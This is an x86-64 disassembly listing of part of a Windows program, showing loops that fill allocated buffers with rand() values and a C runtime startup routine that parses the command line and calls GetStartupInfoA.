cdq
idiv ecx
mov rax, qword [rsp + 0xa88]
movsxd rcx, dword [rsp + 0xa84]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x396e
cdq
idiv ecx
add edx, dword [rsp + 0xa98]
mov dword [rsp + 0xa98], edx
mov eax, dword [rsp + 0xa84]
add eax, 1
mov dword [rsp + 0xa84], eax
jmp 0x14004ae25
mov rax, qword [rsp + 0xa88]
mov qword [rsp + 0x1d0], rax
cmp rax, 0
je 0x14004aeae
mov rcx, qword [rsp + 0x1d0]
call fcn.140071ce0
jmp 0x14004aeb3
mov eax, dword [rsp + 0xa94]
add eax, 1
mov dword [rsp + 0xa94], eax
jmp 0x14004adf7
mov dword [rsp + 0xa80], 0x1faa
mov dword [rsp + 0xa7c], 0
cmp dword [rsp + 0xa7c], 0x580
jge 0x14004afb1
mov ecx, 0x114c8
call fcn.140071d00
mov qword [rsp + 0xa70], rax
mov dword [rsp + 0xa6c], 0
cmp dword [rsp + 0xa6c], 0x92
jge 0x14004af6f
call sub.msvcrt.dll_rand
mov ecx, 0x26e7
cdq
idiv ecx
mov rax, qword [rsp + 0xa70]
movsxd rcx, dword [rsp + 0xa6c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2a7e
cdq
idiv ecx
add edx, dword [rsp + 0xa80]
mov dword [rsp + 0xa80], edx
mov eax, dword [rsp + 0xa6c]
add eax, 1
mov dword [rsp + 0xa6c], eax
jmp 0x14004af0d
mov rax, qword [rsp + 0xa70]
mov qword [rsp + 0x1c8], rax
cmp rax, 0
je 0x14004af96
mov rcx, qword [rsp + 0x1c8]
call fcn.140071ce0
jmp 0x14004af9b
mov eax, dword [rsp + 0xa7c]
add eax, 1
mov dword [rsp + 0xa7c], eax
jmp 0x14004aedf
mov dword [rsp + 0xa68], 0xae5
mov dword [rsp + 0xa64], 0
cmp dword [rsp + 0xa64], 0x6e1
jge 0x14004b099
mov ecx, 0x181cc
call fcn.140071d00
mov qword [rsp + 0xa58], rax
mov dword [rsp + 0xa54], 0
cmp dword [rsp + 0xa54], 0x1cb
jge 0x14004b057
call sub.msvcrt.dll_rand
mov ecx, 0x3a1d
cdq
idiv ecx
mov rax, qword [rsp + 0xa58]
movsxd rcx, dword [rsp + 0xa54]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3534
cdq
idiv ecx
add edx, dword [rsp + 0xa68]
mov dword [rsp + 0xa68], edx
mov eax, dword [rsp + 0xa54]
add eax, 1
mov dword [rsp + 0xa54], eax
jmp 0x14004aff5
mov rax, qword [rsp + 0xa58]
mov qword [rsp + 0x1c0], rax
cmp rax, 0
je 0x14004b07e
mov rcx, qword [rsp + 0x1c0]
call fcn.140071ce0
jmp 0x14004b083
mov dword [rsp + 0xa50], 0x698c
mov dword [rsp + 0xa4c], 0
cmp dword [rsp + 0xa4c], 0x5de
jge 0x14004b181
mov ecx, 0x1dd5c
call fcn.140071d00
mov qword [rsp + 0xa40], rax
mov dword [rsp + 0xa3c], 0
cmp dword [rsp + 0xa3c], 0x1a9
jge 0x14004b13f
call sub.msvcrt.dll_rand
mov ecx, 0x1a50
cdq
idiv ecx
mov rax, qword [rsp + 0xa40]
movsxd rcx, dword [rsp + 0xa3c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x28c1
cdq
idiv ecx
add edx, dword [rsp + 0xa50]
mov dword [rsp + 0xa50], edx
mov eax, dword [rsp + 0xa3c]
add eax, 1
mov dword [rsp + 0xa3c], eax
jmp 0x14004b0dd
mov rax, qword [rsp + 0xa40]
mov qword [rsp + 0x1b8], rax
cmp rax, 0
je 0x14004b166
mov dword [rsp + 0xa38], 0x161e
mov dword [rsp + 0xa34], 0
cmp dword [rsp + 0xa34], 0x6b4
jge 0x14004b269
mov ecx, 0x1097c
call fcn.140071d00
mov qword [rsp + 0xa28], rax
mov dword [rsp + 0xa24], 0
cmp dword [rsp + 0xa24], 0xcb
jge 0x14004b227
mov dword [rsp + 0xa20], 0x449a
mov dword [rsp + 0xa1c], 0
cmp dword [rsp + 0xa1c], 0x5e9
jge 0x14004b34e
mov eax, dword [rsp + 0x1664]
add rsp, 0x1758
ret
push rdi
push rsi
push rbx
sub rsp, 0x90
xor esi, esi
call fcn.140001500
call fcn.14005ec60
mov rbx, qword [rax]
test rbx, rbx
jne 0x14007230b
jmp 0x140072381
test cl, cl
je 0x140072338
and esi, 1
je 0x140072320
mov esi, 1
call sub.msvcrt.dll__ismbblead
test eax, eax
je 0x140072307
cmp byte [rbx + 1], 1
sbb rbx, 0xffffffffffffffff
add rbx, 1
movsx ecx, byte [rbx]
cmp cl, 0x20
jle 0x1400722e8
mov eax, esi
xor eax, 1
cmp cl, 0x22
cmove esi, eax
jmp 0x1400722f6
test cl, cl
je 0x140072338
nop dword [rax]
movzx eax, byte [rbx + 1]
add rbx, 1
test al, al
je 0x140072338
cmp al, 0x20
jle 0x140072328
lea rdx, [rsp + 0x20]
xor eax, eax
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov r9d, 0xa
test byte [rsp + 0x5c], 1
je 0x140072366
movzx r9d, word [rsp + 0x60]
mov rcx, qword [0x14009f790]
mov r8, rbx
xor edx, edx
add rsp, 0x90
pop rbx
pop rsi
pop rdi
jmp 0x140043430
lea rbx, [section..rdata]
jmp 0x140072338